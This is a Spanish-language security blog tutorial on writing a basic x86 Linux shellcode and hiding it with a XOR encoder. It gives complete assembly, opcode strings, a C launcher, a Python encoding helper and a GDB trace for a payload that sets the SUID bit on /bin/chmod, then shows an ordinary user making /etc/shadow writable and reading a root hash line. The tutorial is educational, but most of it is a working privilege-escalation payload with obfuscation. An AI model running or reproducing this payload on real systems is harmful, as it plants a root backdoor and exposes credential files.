pre { background:#eeeeee; border:1px solid #A6B0BF; font-size:120%; line-height:100%; overflow:auto; padding:10px; color:#000000 } pre:hover { border:1px solid #efefef; } code { font-size:120%; text-align:left; margin:0;padding:0; color: #000000;} .clear { clear:both; overflow:hidden; }

Bienvenido al blog

Bienvenidos al blog de seguridad en sistemas

martes, 22 de octubre de 2013

Shellcode XOR básica

Buenas de nuevo, esta entrada es una introducción a las Shellcode y como podemos usar XOR para ocultar el verdadero código que en ella se "esconde".

La shellcode de la entrada tiene como objetivo ejecutar la orden de cambio de permisos o chmod sobre el binario "/bin/chmod", de forma que dicho binario conserve sus permisos originales más el bit de SuID, por lo cual, cualquier usuario podrá cambiar los permisos de los directorios y ficheros del sistema. La shell code ejecuta dos llamadas al sistema, la primera es el chmod ya indicado y la segunda es para terminar el programa, un exit(0). 

Por cada una de estas interrupciones lo que hay que hacer es poner en el registro EAX el valor numérico de la llamada, en caso de chmod es 15 (/usr/include/i386-linux-gnu/asm/unistd_32.h). En EBX, ECX y EDX se indican los tres parámetros de la función, claro está en caso de que la función lo requiere. EBX para el primer parámetro, ECX para el segundo y EDX para el tercero. En el caso de la llamada a chmod solo se requiere dos parámetros: el primer valor es el fichero o directorio al cual se le quiere cambiar los permisos y el segundo son los permisos en RAW que se desea conceder. Recordad que el mítico 755, por ejemplo, es octal por lo que hay que pasarlo a hexadecimal y finalmente añadir al bit más significativo el valor 8. Para más información os recomiendo la segunda página del manual chmod "man 2 chmod". Para finalizar es necesario la ejecución de la llamada al sistema con un "int 0x80".

Antes de mostrar el código del programa indicar tres cosas que son fundamentales en la escritura de código ASM para shellcode. Nunca un OPCode (representación de las instrucciones) debe valer 0x00, es decir un byte es todo 0 (ceros) ya que se interpretará como finalización de cadena de caracteres y el shellcode fallará. Por tanto si tenemos algo del estilo "mov EAX, 0" lo cambiamos por "XOR EAX, EAX" puesto que XOR sobre un mismo valor siempre dará todo 0. El segundo truco es que si vamos a introducir valores en registro, usar únicamente el espacio requerido, es decir, imaginaros que queremos mover el carácter 8 al registro EAX: "mov EAX, 8". Esto en OPCode introducirá "00" puesto que solo ocupamos la parte baja del registro mientras que la parte alta estará vacía. Por tanto si vamos a mover 1 byte, usemos un registro de 1 byte: "mov al, 8". Recordad que EAX 32bits, AX 16 bits bajos del EAX, AH los 8 bits altos de AX y AL los 8 bits bajos de AX. Por último comentar que si queremos acceder a un dato previamente escrito en la parte de ".data", debido a protecciones actuales, nos será imposible ya que la posición cambia. Por tanto el truco es tan simple como saltar con un jmp a una etiqueta, en la etiqueta la primera instrucción será un call de vuelta a la instrucción siguiente al jmp anterior. Debajo de ese call estará los datos que nos interesa tener. Cuando el call se ejecuta, este apila la siguiente instrucción a ejecutar. Cuando dicho call salte a la segunda instrucción después del primer jmp tendremos apilada en la cima de la pila la dirección de donde están los datos que buscamos. A esto se le conoce como JMP-CALL-POP.

El fichero ASM que realiza tal función es el siguiente:

  1.         SECTION .text           ; Seccion de datos
  2.         global _start           ; Donde empieza el programa
  3. _start:                         ; Empieza el programa
  4.        
  5.         jmp     callback        ; Jump-call-pop
  6. programa:
  7.         pop     esi             ; Desapilamos la direccion de la sig ins
  8.                                 ; previo call, tenemos el db
  9.         xor     ecx,ecx
  10.         mov     cx,0x89ED       ; Param #2, Modo, 4755 (8) -> 0x9ED (H), modo raw (0x89ED)
  11.                                 ; +info: comando stat %a %f
  12.         mov     ebx,esi         ; Param #1, Fichero a cambiar
  13.         xor     eax,eax
  14.         mov     al,0xf          ; Chmod es 15 -> 0xF
  15.                                 ; arch/x86/include/generated/uapi/asm/unistd_32.h
  16.         int     0x80            ; Llamada al sistema
  17.        
  18.         xor     ebx,ebx         ; Salimos, todo ha ido bien, param #1 de todo OK = '0'
  19.         xor     eax,eax
  20.         mov     al,1            ; Funcion exit
  21.         int     0x80            ; Llamada al sistema
  22. callback:
  23.         call    programa
  24.         db "/bin/chmod"        
El siguiente paso es obtener los OPCode del programa ASM anterior usando Objdump y luego realizar una operación XOR sobre cada uno de los byte que forman el OPCode. En el ejemplo he usado el byte 0x18 para realizar el XOR. "Parse.py" es un script en Python simplón que con la opción "xor" hace la operación XOR entre la cadena de OPCode de entrada y el byte indicado en hexadecimal:
# nasm -f elf chmod.asm -o chmod.o
# ld -o asmchmod chmod.o
# objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64
# ./parse.py xor eb175e31c966b9ed8989f331c0b00fcd8031db31c0b001cd80e8e4ffffff2f62696e2f63686d6f64 18
f30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
Como se aprecia el valor de OPCode del programa anterior es "eb175e31c96...3686d6f64". Un vez realizada la operación XOR el valor es "f30f4629d17ea1f59...377b7075777c". 

A continuación hay que preparar un programa ASM que almacene la shellcode anterior (f30d46...), la recorra byte a byte y realice una operación XOR entre dicho byte y el 0x18 almacenando en la misma posición el resultado. Una vez realizada la operación deberá saltar al primer byte de la shellcode descifrada y ejecutarla. El programa llamado chmodxor.asm es el siguiente:

  1.        SECTION .text           ; Seccion de datos
  2.         global _start           ; Donde empieza el programa
  3. _start:                         ; Empieza el programa
  4.         jmp     callback        ; Jump-call-pop
  5. programa:
  6.         pop     esi             ; Desapilamos la direccion donde estan los byte
  7.         mov     ebx,esi
  8.                                 ; XOR START
  9.         xor     ecx, ecx        ; Contador a 0
  10.         mov     cl,40           ; Cuantos contadores vamos a leer
  11. loopxor:
  12.         mov     al,[esi]
  13.         xor     al,18h          ; Xor del codigo con 0x18
  14.         mov     [esi],al
  15.         inc     esi             ; Incrementamos en busqueda de la siguiente posicion
  16.         dec     cl              ; Decrementamos el contador
  17.         jnz     loopxor
  18.                                 ; XOR FINISH
  19.         jmp     ebx
  20. callback:
  21.         call    programa
  22.         db   0f3h, 00fh, 046h, 029h, 0d1h, 07eh, 0a1h, 0f5h, 091h, 091h, 0ebh, 029h, 0d8h, 0a8h, 017h, 0d5h,098h, 029h, 0c3h, 029h, 0d8h, 0a8h, 019h, 0d5h, 098h, 0f0h, 0fch, 0e7h, 0e7h, 0e7h, 037h, 07ah, 071h, 076h, 037h,07bh, 070h, 075h, 077h, 07ch
Una vez tenemos el programa XOR listo debemos compilarlo igual que anteriormente:
# nasm -f elf chmodxor.asm -o chmod.o
# ld -o asmchmod chmod.o
# objdump -M intel -d asmchmod | grep 80480 | grep -v '>:' | cut -f2 | perl -p -e 's/ [ \n]*//g'
eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
# ./parse.py hex eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c
Como se aprecia, he vuelto a usar mi programa auxiliar parse.py para que añada "\x" delante de cada byte para poder procesarlo en un programa en C:
  1. #include <unistd.h>
  2. unsigned char shellcode[] = \
  3. "\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c";
  4. void main(){
  5.         int (*ret)() = (int(*)()) shellcode;
  6.         ret();}
Una vez preparada la shellcode vamos a proceder a compilarla saltando algunos de las restricciones GCC (esto lo dejo para otra entrada). También muestro un poco la prueba de concepto de esta shellcode:
# ls -l /bin/chmod
-rwxr-xr-x 1 root root 54904 Jan 26  2013 /bin/chmod
# su - prueba
$ chmod 777 /etc/shadow
chmod: changing permissions of `/etc/shadow': Operation not permitted
$ exit
exit
# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode
# ls -l /bin/chmod
-rwsr-xr-x 1 root root 54904 Jan 26  2013 /bin/chmod
# su prueba
$ chmod 777 /etc/shadow
$ grep root /etc/shadow
root:$6$jwJ6uky6$IHR7LyNfY6BpZiRd6cjVjiBtLyNfY5Y9N.gXN7B8t4FOtKRnZO5Y9NymHQus.3Ec7XaHJsdRYec77HnLyNfYM/:15992:0:99999:7:::
$ echo "I change the hash and the salt before put it here :-)"
Por si no se viera bien, lo he publicado en pastebin que suele ser mejor en tema de código (código público...) que blogger.

Antes de que se me olvide, el código rápido de parse.py:
# ./parse.py hex eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
\xeb\x14\x5e\x89\xf3\x31\xc9\xb1\x28\x8a\x06\x34\x18\x88\x06\x46\xfe\xc9\x75\xf5\xff\xe3\xe8\xe7\xff\xff\xff\xf3\x0f\x46\x29\xd1\x7e\xa1\xf5\x91\x91\xeb\x29\xd8\xa8\x17\xd5\x98\x29\xc3\x29\xd8\xa8\x19\xd5\x98\xf0\xfc\xe7\xe7\xe7\x37\x7a\x71\x76\x37\x7b\x70\x75\x77\x7c

# ./parse.py gdb eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
0ebh, 014h, 05eh, 089h, 0f3h, 031h, 0c9h, 0b1h, 028h, 08ah, 006h, 034h, 018h, 088h, 006h, 046h, 0feh, 0c9h, 075h, 0f5h, 0ffh, 0e3h, 0e8h, 0e7h, 0ffh, 0ffh, 0ffh, 0f3h, 00fh, 046h, 029h, 0d1h, 07eh, 0a1h, 0f5h, 091h, 091h, 0ebh, 029h, 0d8h, 0a8h, 017h, 0d5h, 098h, 029h, 0c3h, 029h, 0d8h, 0a8h, 019h, 0d5h, 098h, 0f0h, 0fch, 0e7h, 0e7h, 0e7h, 037h, 07ah, 071h, 076h, 037h, 07bh, 070h, 075h, 077h, 07ch

# ./parse.py gdbinv eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c
07ch, 077h, 075h, 070h, 07bh, 037h, 076h, 071h, 07ah, 037h, 0e7h, 0e7h, 0e7h, 0fch, 0f0h, 098h, 0d5h, 019h, 0a8h, 0d8h, 029h, 0c3h, 029h, 098h, 0d5h, 017h, 0a8h, 0d8h, 029h, 0ebh, 091h, 091h, 0f5h, 0a1h, 07eh, 0d1h, 029h, 046h, 00fh, 0f3h, 0ffh, 0ffh, 0ffh, 0e7h, 0e8h, 0e3h, 0ffh, 0f5h, 075h, 0c9h, 0feh, 046h, 006h, 088h, 018h, 034h, 006h, 08ah, 028h, 0b1h, 0c9h, 031h, 0f3h, 089h, 05eh, 014h, 0ebh

# ./parse.py xor eb145e89f331c9b1288a063418880646fec975f5ffe3e8e7fffffff30f4629d17ea1f59191eb29d8a817d59829c329d8a819d598f0fce7e7e7377a7176377b7075777c 44
af501acdb7758df56cce42705ccc4202ba8d31b1bba7aca3bbbbbbb74b026d953ae5b1d5d5af6d9cec5391dc6d876d9cec5d91dcb4b8a3a3a3733e3532733f34313338

El código (lo he programado en menos de 20 minutos, no me responsabilizo xD):

  1. #!/usr/bin/python
  2. import sys
  3. '''
  4.    Arg1: opcion a escoger
  5.    Arg2: OP code en hexadecimal seguido sin espacios
  6. '''
  7. # Formato ShellCode (\xAB\xCD...)
  8. def getHexadecimal(data):
  9.     pos = 0
  10.     cadena = ''
  11.     while (pos < len(data)):
  12.         cadena = cadena + '\\x' + str(data[pos]) + str(data[pos+1])
  13.         pos = pos + 2
  14.     print cadena
  15. # Formato GDB
  16. def getGDB(data):
  17.     pos = 0
  18.     cadena = ''
  19.     while (pos < len(data)):
  20.         cadena = cadena + '0' + str(data[pos]) + str(data[pos+1]) + 'h, '
  21.         pos = pos + 2
  22.     print str(cadena[:-2])
  23. # Invertimos el orden en formato GDB, el ultimo es el primero
  24. def getGDBInv(data):
  25.     pos = len(data) - 1
  26.     cadena = ''
  27.     while (pos > 0):
  28.         cadena = cadena + '0' + str(data[pos-1]) + str(data[pos]) + 'h, '
  29.         pos = pos - 2
  30.     print str(cadena[:-2])
  31. # Xor de la cadena
  32. def getXorCadena(data, valor):
  33.     hexValor = int(valor, 16)
  34.     pos = 0
  35.     res = ''
  36.     while (pos < len(data)):
  37.         opCode = data[pos]+data[pos+1]
  38.         hexData = int(opCode, 16)
  39.         aux = hex(hexData^hexValor)[2:]
  40.         if len(aux) == 1:
  41.             aux = '0' + aux
  42.         if len(aux) == 0:
  43.             aux = '00'
  44.         #print 'Opcode ' + opCode + ' xor ' + valor + ' = ' + aux
  45.         res = res + aux
  46.         pos = pos + 2
  47.     print res
  48. def help():
  49.     print "\n" + 'Para C: python programa hex CADENA'
  50.     print "\n" + 'Para GDB: python programa gdb CADENA'
  51.     print "\n" + 'Para GDB pero invertido: python programa gdbinv CADENA'
  52.     print "\n" + 'CADENA ^ operador: python programa xor CADENA operador'
  53.     print "\n\t" + 'Tanto CADENA como operador deben ser en hexadecimal todo seguido, ex: a7d68733d3'
  54. if __name__ == '__main__':
  55.     if len(sys.argv) == 3 or len(sys.argv) == 4:
  56.         data = sys.argv[2]
  57.         if (len(data)%2) != 0:
  58.             print 'La cadena no puede ser OPCode, tam: ' + str(len(data))
  59.             sys.exit(1)
  60.         if len(sys.argv) == 3:
  61.             if str(sys.argv[1]) == "hex":
  62.                 getHexadecimal(data)
  63.             if str(sys.argv[1]) == "gdb":
  64.                 getGDB(data)
  65.             if str(sys.argv[1]) == "gdbinv":
  66.                 getGDBInv(data)
  67.         elif len(sys.argv) == 4:
  68.             if str(sys.argv[1]) == "xor":
  69.                 try:
  70.                     operador = int(sys.argv[3],16)
  71.                 except:
  72.                     help()
  73.                 getXorCadena(data, sys.argv[3])
  74.         else:
  75.             help()
  76.     else:
  77.         help()
Para finalizar os pongo los pasos principales para debuggear con GDB como la shellcode hace el XOR dejando el programa en la primera instrucción de la shellcode del primer fichero ASM al principio del todo de la entrada:
# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
# gdb shellcode 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/chmod/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&shellcode
Breakpoint 1 at 0x8049640
(gdb) run
Starting program: /root/chmod/shellcode 

Breakpoint 1, 0x08049640 in shellcode ()
(gdb) disassemble 
Dump of assembler code for function shellcode:
=> 0x08049640 <+0>: jmp    0x8049656 <shellcode+22>
   0x08049642 <+2>: pop    esi
   0x08049643 <+3>: mov    ebx,esi
   0x08049645 <+5>: xor    ecx,ecx
   0x08049647 <+7>: mov    cl,0x28
   0x08049649 <+9>: mov    al,BYTE PTR [esi]
   0x0804964b <+11>: xor    al,0x18
   0x0804964d <+13>: mov    BYTE PTR [esi],al
   0x0804964f <+15>: inc    esi
   0x08049650 <+16>: dec    cl
   0x08049652 <+18>: jne    0x8049649 <shellcode+9>
   0x08049654 <+20>: jmp    ebx
   0x08049656 <+22>: call   0x8049642 <shellcode+2>
   0x0804965b <+27>: repz cmovbe ebp,DWORD PTR [ecx]
   0x0804965f <+31>: sar    DWORD PTR [esi-0x5f],1
   0x08049662 <+34>: cmc    
   0x08049663 <+35>: xchg   ecx,eax
   0x08049664 <+36>: xchg   ecx,eax
   0x08049665 <+37>: jmp    0x8049690
   0x08049667 <+39>: fsubr  DWORD PTR [eax+0x2998d517]
   0x0804966d <+45>: ret    
   0x0804966e <+46>: sub    eax,ebx
   0x08049670 <+48>: test   al,0x19
   0x08049672 <+50>: aad    0x98
   0x08049674 <+52>: lock cld 
   0x08049676 <+54>: out    0xe7,eax
   0x08049678 <+56>: out    0x37,eax
   0x0804967a <+58>: jp     0x80496ed
   0x0804967c <+60>: jbe    0x80496b5
   0x0804967e <+62>: jnp    0x80496f0
   0x08049680 <+64>: jne    0x80496f9
   0x08049682 <+66>: jl     0x8049684 <completed.5730>
End of assembler dump.
(gdb) break *0x08049643
Breakpoint 2 at 0x8049643
(gdb) c
Continuing.

Breakpoint 2, 0x08049643 in shellcode ()
(gdb) p/x $esi
$2 = 0x804965b
(gdb) x/8b 0x804965b
0x804965b <shellcode+27>: 0xf3  0x0f  0x46 0x29 0xd1 0x7e  0xa1 0xf5
(gdb) break *0x08049654
Breakpoint 3 at 0x8049654
(gdb) c
Continuing.

Breakpoint 3, 0x08049654 in shellcode ()
(gdb) x/8b 0x804965b
0x804965b <shellcode+27>: 0xeb  0x17 0x5e   0x31 0xc9   0x66 0xb9 0xed
(gdb) disassemble 
Dump of assembler code for function shellcode:
   0x08049640 <+0>: jmp    0x8049656 <shellcode+22>
   0x08049642 <+2>: pop    esi
   0x08049643 <+3>: mov    ebx,esi
   0x08049645 <+5>: xor    ecx,ecx
   0x08049647 <+7>: mov    cl,0x28
   0x08049649 <+9>: mov    al,BYTE PTR [esi]
   0x0804964b <+11>: xor    al,0x18
   0x0804964d <+13>: mov    BYTE PTR [esi],al
   0x0804964f <+15>: inc    esi
   0x08049650 <+16>: dec    cl
   0x08049652 <+18>: jne    0x8049649 <shellcode+9>
=> 0x08049654 <+20>: jmp    ebx
   0x08049656 <+22>: call   0x8049642 <shellcode+2>
   0x0804965b <+27>: jmp    0x8049674 <shellcode+52>
   0x0804965d <+29>: pop    esi
   0x0804965e <+30>: xor    ecx,ecx
   0x08049660 <+32>: mov    cx,0x89ed
   0x08049664 <+36>: mov    ebx,esi
   0x08049666 <+38>: xor    eax,eax
   0x08049668 <+40>: mov    al,0xf
   0x0804966a <+42>: int    0x80
   0x0804966c <+44>: xor    ebx,ebx
   0x0804966e <+46>: xor    eax,eax
   0x08049670 <+48>: mov    al,0x1
   0x08049672 <+50>: int    0x80
   0x08049674 <+52>: call   0x804965d <shellcode+29>
   0x08049679 <+57>: das    
   0x0804967a <+58>: bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804967d <+61>: das    
   0x0804967e <+62>: arpl   WORD PTR [eax+0x6d],bp
   0x08049681 <+65>: outs   dx,DWORD PTR ds:[esi]
   0x08049682 <+66>: add    BYTE PTR fs:[eax],al
End of assembler dump.
(gdb) si
0x0804965b in shellcode ()
(gdb) disassemble 
Dump of assembler code for function shellcode:
   0x08049640 <+0>: jmp    0x8049656 <shellcode+22>
   0x08049642 <+2>: pop    esi
   0x08049643 <+3>: mov    ebx,esi
   0x08049645 <+5>: xor    ecx,ecx
   0x08049647 <+7>: mov    cl,0x28
   0x08049649 <+9>: mov    al,BYTE PTR [esi]
   0x0804964b <+11>: xor    al,0x18
   0x0804964d <+13>: mov    BYTE PTR [esi],al
   0x0804964f <+15>: inc    esi
   0x08049650 <+16>: dec    cl
   0x08049652 <+18>: jne    0x8049649 <shellcode+9>
   0x08049654 <+20>: jmp    ebx
   0x08049656 <+22>: call   0x8049642 <shellcode+2>
=> 0x0804965b <+27>: jmp    0x8049674 <shellcode+52>
   0x0804965d <+29>: pop    esi
   0x0804965e <+30>: xor    ecx,ecx
   0x08049660 <+32>: mov    cx,0x89ed
   0x08049664 <+36>: mov    ebx,esi
   0x08049666 <+38>: xor    eax,eax
   0x08049668 <+40>: mov    al,0xf
   0x0804966a <+42>: int    0x80
   0x0804966c <+44>: xor    ebx,ebx
   0x0804966e <+46>: xor    eax,eax
   0x08049670 <+48>: mov    al,0x1
   0x08049672 <+50>: int    0x80
   0x08049674 <+52>: call   0x804965d <shellcode+29>
   0x08049679 <+57>: das    
   0x0804967a <+58>: bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804967d <+61>: das    
   0x0804967e <+62>: arpl   WORD PTR [eax+0x6d],bp
   0x08049681 <+65>: outs   dx,DWORD PTR ds:[esi]
   0x08049682 <+66>: add    BYTE PTR fs:[eax],al
End of assembler dump.
(gdb)
Enlaces recomendados:
  • SecurityTube: http://www.securitytube.net/video/6996
  • @badishi: https://badishi.com/basic-shellcode-example/
Me voy cagando leches a hacer los essays, nos vemos pronto.



Continuar...